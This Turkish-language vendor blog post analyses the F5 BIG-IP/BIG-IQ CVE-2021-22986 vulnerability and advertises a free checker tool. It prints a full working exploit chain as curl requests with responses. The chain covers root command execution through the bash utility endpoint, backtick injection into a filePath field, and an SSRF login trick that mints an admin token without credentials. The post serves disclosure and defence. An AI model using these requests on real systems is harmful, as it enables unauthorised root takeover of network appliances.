F5 BIG-IP CVE-2021-22986 Zafiyeti Tespit ve İncelemesi

CVE-2021-22986 kodlu F5 BIG-IP ve BIG-IQ ürünlerinin yönetim panelinde bulunan Unauthenticated Remote Code Execution zafiyeti için yayınlanan güncellemeden sonra yeni bir zafiyet ortaya çıktı.

Bu yazımızda önceki zafiyete de değinerek yama sonrası tekrar exploit edilen CVE-2021-22986 için detaylı incelemizi sizlerle paylaşıyoruz.

F5 BIG-IP Tarama ve Tespit Aracı ile sisteminizin bu zafiyetten etkilenip, etkilenmediğini kontrol edebilirsiniz. Aracımız önceki ve yeni zafiyet için de güncellenmiş durumdadır.

CVE-2021-22986 Zafiyeti Bölüm -1 Code Execution

Zafiyet ilk ortaya çıktığında /mgmt/tm/util/bash uç noktasına (Endpoint) yaptığımız istekler herhangi bir kimlik doğrulamasına gerek kalmadan komut çalıştırılabilmesine izin veriyordu.

Ancak bu kullanım ilk zafiyet yamalandıktan sonra kapatılmış durumdadır.

Yeni zafiyeti incelediğimizde bu uç nokta ve aynı zamanda /mgmt/tm/access/bundle-install-tasks uç noktasında komut çalıştırmaya devam edebiliyoruz. Ancak bu zafiyeti kullanabilmek için yönetici hesabına sahip olmak gerekiyor.

Karşımıza gelen yeni durumda Authenticated Remote Code Execution şeklinde zafiyeti kullanabiliyoruz. Teorik olarak geçerli olan bu durum, gerçek hayatta bir saldırgan için (çoğu zaman) geçerli olmayacaktır.

İlk uç nokta, /mgmt/tm/util/bash’e admin hesabı ile aşağıdaki komutları kullanarak istek yollayabilir ve  id komutunu çalıştırabiliriz.

# curl -ksu admin:P******3 -H "Content-Type: application/json" ***.***.5/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}' | jq .
{
    "kind": "tm:util:bash:runstate",
    "command": "run",
    "utilCmdArgs": "-c id",
    "commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
}

Uygulamadan dönen cevapta commandResult kısmında istediğimiz komutun başarılı olarak çalıştığını ve root haklarında çalıştırıldığını görmekteyiz.

Diğer uç noktada ise kendi kontrolümüzde olan bir bilgisayara ping atması için bir komut girişi yapıyoruz;

# curl -ksu admin:P*****3 ***.***.5/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"`ping 172.***.***.1`"}' | jq .
{
    "filePath": "`ping 172.***.***.1`",
    "toBeInstalledAppRpmsIndex": -1,
    "id": "2f1ff697-6b4f-450e-90d8-4babdd9973d2",
    "status": "CREATED",
    "userReference": {
      "link": "https://localhost/mgmt/shared/authz/users/admin"
    },
    "identityReferences": [
      {
        "link": "https://localhost/mgmt/shared/authz/users/admin"
      }
    ],
    "ownerMachineId": "43e891d1-f0a9-4817-9673-08f8c062c336",
    "generation": 1,
    "lastUpdateMicros": 1621295014638260,
    "kind": "tm:access:bundle-install-tasks:iappbundleinstalltaskstate",
    "selfLink": "https://localhost/mgmt/tm/access/bundle-install-tasks/2f1ff697-6b4f-450e-90d8-4babdd9973d2"
}

Bir önceki senaryodan faklı olarak bu sefer komutumuzun sonucunu göremiyoruz ancak sunucuda çalışan prosesleri incelediğimizde, komutumuzun aslında tar komutuna parametre olarak verildiğini görmekteyiz.

Yukarıdaki komut dizisinde Payload olarak yazdığımız ping komutuna dikkat ederseniz backquote(`) karakterleri arasında kullanıldı.

# ps aux | grep ping
root     18825  0.0  0.0  11656   320 ?        S    16:43   0:00 /bin/bash -c tar -xf `ping 172.***.***.1` -O > /dev/null
root     18826  0.0  0.0  24884   860 ?        S    16:43   0:00 ping 172.***.***.1

İlk kısımda komut çalıştırabildiğimiz uç noktaları inceledik ancak halen daha kimlik doğrulama engeline takılmaktayız.

CVE-2021-22986 Authentication Bypass, SSRF

Yukarıdaki senaryoda admin hesabı belirli bir şekilde zafiyetin kullanımı gösterilmiştir. Ancak gerçek hayatta bir siber saldırgan için kullanılabilir bir zafiyet olarak görmek pek de doğru olmayacaktır. Siber saldırganlar için bu zafiyetin kimlik doğrulaması olmadan kullanılabilir olması tercih sebebi olacaktır.

Zafiyetimizi bu bölümde kimlik doğrulaması olmadan aşağıdaki gibi kullanabilmekteyiz.

CVE-2021-22986’u oluşturan ikinci bir zafiyet ise /mgmt/shared/authn/login uç noktasının loginReference.link parametresinde bulunan SSRF kullanımıdır.

Yani bu uç nokta kullanılarak istenen herhangi bir adrese istek yapılabilir. Eğer  loginReference.link parametresini kullanarak uygulamanın kendi kendisine istek gönderilmesi sağlanırsa, kimlik doğrulama atlatabilmektedir.

Örnek olarak parametreyi https://localhost/mgmt/tm/access/bundle-install-tasks olarak veriyoruz.

Başarılı bir biçimde komut çalıştırabilir mi?

Ne yazık ki hayır. Unutmayalım ki komut çalıştırma zafiyeti olan uç noktalara bazı parametreler de (örneğin filePath) göndermemiz gereklidir. SSRF kullanarak komut çalıştırma zafiyeti olan uç noktalara kimlik doğrulamayı atlatarak başarılı bir biçimde erişildiğinde, herhangi bir parametre gönderemediğimiz için başarısız olacaktır.

Siber güvenlik araştırmacıları bakış açılarını değiştirerek SSRF zafiyetini üzerinden, Authorization Token oluşturabilecekleri bir uç noktaya istek gönderip, geçerli bir token oluşturabildiler. F5 Big-IP ve Big-IQ’da token oluşturan birçok uç nokta bulunmaktadır. Zafiyeti yetkisiz erişim ile kullanabilmek için bu uç noktalardan bir tanesine istek gönderilmesi yeterli olacaktır.

Bu durumda /access/file-path-manager/indexing kullanılmaktadır.

# curl -ks ***.***.5/mgmt/shared/authn/login -d '{"username":"admin", "bigipAuthCookie":"", "authProviderName":"local", "loginReference":{ "link":"https://localhost/access/file-path-manager/indexing" }, "userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}}'  | jq .
{
  "username": "admin",
  "bigipAuthCookie": "",
  "loginReference": {
    "link": "https://localhost/access/file-path-manager/indexing"
  },
  "token": {
    "token": "WZDXLAHGSAYWEW44DZB7D34V6T",
    "name": "WZDXLAHGSAYWEW44DZB7D34V6T",
    "userName": "admin",
    "authProviderName": "local",
    "user": {
      "link": "https://localhost/mgmt/shared/authz/users/admin"
    },
    "timeout": 1200,
    "startTime": "2021-05-17T18:51:26.605-0700",
    "address": "172.***.***.1",
    "partition": "[All]",
    "generation": 1,
    "lastUpdateMicros": 1621302686604555,
    "expirationMicros": 1621303886605000,
    "kind": "shared:authz:tokens:authtokenitemstate",
    "selfLink": "https://localhost/mgmt/shared/authz/tokens/WZDXLAHGSAYWEW44DZB7D34V6T"
  },
  "generation": 0,
  "lastUpdateMicros": 0
}

Görüldüğü gibi sunucudan dönen cevapta, token.token kısmında gerekli Authorization Token’ı alabiliyoruz. Şimdi kullanıcı bilgisi olamadan, aldığımız token ile komut çalıştırmayı deneyebiliriz.

# curl -ks -H "Content-Type: application/json" -H "X-F5-Auth-Token: WZDXLAHGSAYWEW44DZB7D34V6T" ***.***.5/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}' | jq .
{
  "kind": "tm:util:bash:runstate",
  "command": "run",
  "utilCmdArgs": "-c id",
  "commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
}

Bu durumda SSRF kullanarak kimlik doğrulama atlatıldı ve geçerli bir Authorization Token elde edildi. Devamında bu token ile komut çalıştırılan uç noktalara erişebildiğimizi ve zafiyeti kullanabildiğimizi görmekteyiz.

Yayınlanan Metasploit modülü de bu yazımızda bahsetmiş olduğumuz yetkisiz erişim tekniğini kullanmaktadır.

CVE-2021-22986 Privia Security – F5 Checker

Kurumlara özel olarak hazırlamış olduğumuz F5 Checker uygulamasını f5-check.priviasecurity.com adresi üzerinden ücretsiz olarak kullanabilirsiniz. Güvenle kullanabileceğiniz bu araç sisteminizin bu zafiyetten etkilenip, etkilenmediği hakkında bilgi vermektedir.

Aracımız sisteminizdeki F5 BIG IP veya BIG IQ ürünü üzerinde yukarıdaki gibi zararsız “uname -a” komutunu kullanarak bu işlemi gerçekleştirmektedir. Sisteminiz bu zafiyetten etkileniyorsa, ürünün yazılımını son sürüme yükseltmenizi tavsiye ediyoruz.